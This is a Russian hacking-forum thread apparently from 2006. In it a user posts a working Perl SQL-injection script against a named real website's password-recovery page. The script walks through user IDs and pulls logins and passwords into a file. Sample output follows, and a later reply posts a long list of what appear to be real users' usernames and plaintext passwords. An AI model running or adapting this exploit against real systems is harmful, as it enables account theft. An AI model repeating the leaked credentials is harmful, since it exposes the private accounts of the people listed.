Сплоит для km.ru =))

Отслеживать
Код: 
#!/usr/bin/perl
use IO::Socket;

$toid = $ARGV[1];
$id = $ARGV[0];

print "\n(c)oded by system(\$cmd) // 24.08.2006\nSpecial for Web-Hack.ru\n----------------------------------\n";
if (@ARGV < 2){
print "usage: perl km.pl <=id =>id\n";
exit();
}


for($id;$id<=$toid;$id++){
$login='';$pass='';$flag=1;$a='';
print "[+]ID - $id\n";
$postt="email='%20or%201=convert(int,NickName)%20and%20id=$id--&nullOK=1";
$sockt = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80", Timeout => 5) || die "\nCONNECTION FAILED";
print $sockt "POST /reg/password.asp HTTP/1.1\r\n";
print $sockt "Host: www.km.ru\r\n";
print $sockt "Connection: close\r\n";
print $sockt "Content-Type: application/x-www-form-urlencoded\n";
print $sockt "Content-length: ".length($postt)."\r\n\r\n";
print $sockt "$postt";
print $sockt "\r\n\r\n";

while (<$sockt>)
{    
$a .= $_;
}
if($a=~/value '/){
($login,$trash) = split(/' to/,$a);
($trash,$login) = split(/value '/,$login);
}
if(($login=~/;&#2/) or (!($login))) { print "[-]Login - FAILED!\n"; $flag=0;} else { print "[+]Login - \"$login\"\n"; }

$a='';
if($flag){
$post="email='%20or%201=convert(int,PassWord)%20and%20id=$id--&nullOK=1";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80") || die "\nCONNECTION FAILED";
print $sock "POST /reg/password.asp HTTP/1.1\r\n";
print $sock "Host: www.km.ru\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
{    
$a .= $_;
}
if($a=~/value '/){
($pass,$trash) = split(/' to/,$a);
($trash,$pass) = split(/value '/,$pass);
}
if(($pass=~/;&#2/) or (!($pass))) { print "[-]Passw - FAILED!\n";$flag=0;} else { print "[+]Passw - \"$pass\"\n"; }
}
print "\n==================================\n";
if($flag){ 
$l=$id.';'.$login.';'.$pass."\n";
open(OUT,"out.txt");@tmp=<OUT>;close(OUT);
push(@tmp,$l);
open(OUT,">out.txt");print OUT @tmp;close(OUT);
}
}

ЗЫ
Извините за кривой скрипт... но вроде пашет =)) сохраняет в out.txt
 
Код: 
----------------------------------
[+]ID - 1
[+]Login - "gowor"
[-]Passw - FAILED!

==================================
[+]ID - 2
[-]Login - FAILED!

==================================
[+]ID - 3
[-]Login - FAILED!

==================================
[+]ID - 4
[-]Login - FAILED!

==================================
[+]ID - 5
[+]Login - "dun"
[+]Passw - "djdbr"

==================================
[+]ID - 6
[-]Login - FAILED!

==================================
[+]ID - 7
[-]Login - FAILED!

==================================
[+]ID - 8
[+]Login - "Katya"
[-]Passw - FAILED!

==================================
[+]ID - 9
[-]Login - FAILED!

==================================
[+]ID - 10
[+]Login - "vlad"
[-]Passw - FAILED!

==================================


да:) че то он искревился)))
 
переместил в халяву, имхо куча пасов на мыла.. он же кидал.. я так понял дл не особо приветствует чтение чужых мыл

22;swg;swg
24;sto;sto120ip
25;polan;jkde4l
28;ivan;sean1988
30;Tom;hkxcch
32;Kitten;lilith
5;dun;djdbr
12;race;gfhjkm
13;ß;ß
14;oks;vov
17;Noodles;vaska
20;avk;avk
22;swg;swg
24;sto;sto120ip
25;polan;jkde4l
28;ivan;sean1988
30;Tom;hkxcch
32;Kitten;lilith
35;dia;kamchatka
39;Gondrabon;Gondrabon
40;Sasha;6002-May
42;egorov;acmndpsvo
43;ser;rabota
46;hannupr;hfj360
49;puh;oleg
50;ushkov;light
51;ibp;esU
55;muzzy;3muzzy
62;rjaboven;privet
63;boris;!!0107IAP
64;afel;afel1
66;Marinka;mari77
67;V_a;Yfnfif
70;Olka;crystall
76;starelni;michaels
78;allmik;irenik
79;gal;qazqaz
80;_^CTEPX^_;ubvfkfb
81;mark;serge
84;pia;qweasd
85;Serzh;hermith
88;Lena_S;ktyrf
92;Dasha;one
93;Bossy;rbgfhbc
95;marat;alphaville
96;kvv;lota
98;Andy;rjhfy
99;plushbear;20rfvytq
100;evgeniy;riboflavin
102;lll;markuze
103;zelenzov;qwe1
108;atjn;atjnatjn
109;Natalie;jenyaandme
110;Elen_Chups;cei
112;Oleg3060;tootoo
114;Acid Garbage;acidprodigy
120;flyer;yahooo
128;G.I.A.;goga
134;Victor;spartak
136;Zosic;bestof
137;serg;sbelov
140;Oxana;papa
141;dev;devil1
143;Fly;ssssss
146;sea2000;avamongos
148;nata;mafia
149;sypa;gaga
152;AL;test
154;zulaa;bdz
159;ludof;svetotsveta
161;Nick;pass
163;Sergo;seRgeJ205
165;ktulu;tu wimr
166;Rob;gandalf
167;shuran;nhe36f
171;Brainy;envy
173;AlexSS;ViC153
174;Helza;helza
176;Rahit;los
177;Ë;Ë
180;Blazer;chicony
181;Juljasha;juli
182;vorval17;b300374
183;konst;charodeev
184;druzh;druzh
188;bnm;leko
189;RuStudent;slava
196;valya;valens
198;uglyansk;dfytxrf

ЗЫ

_1nf3ct0r_ (19:14:47 28/08/2006)
дааа я вкурсе

_1nf3ct0r_ (19:14:59 28/08/2006)
[цензура] он выложил это (в смысле зачем)
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх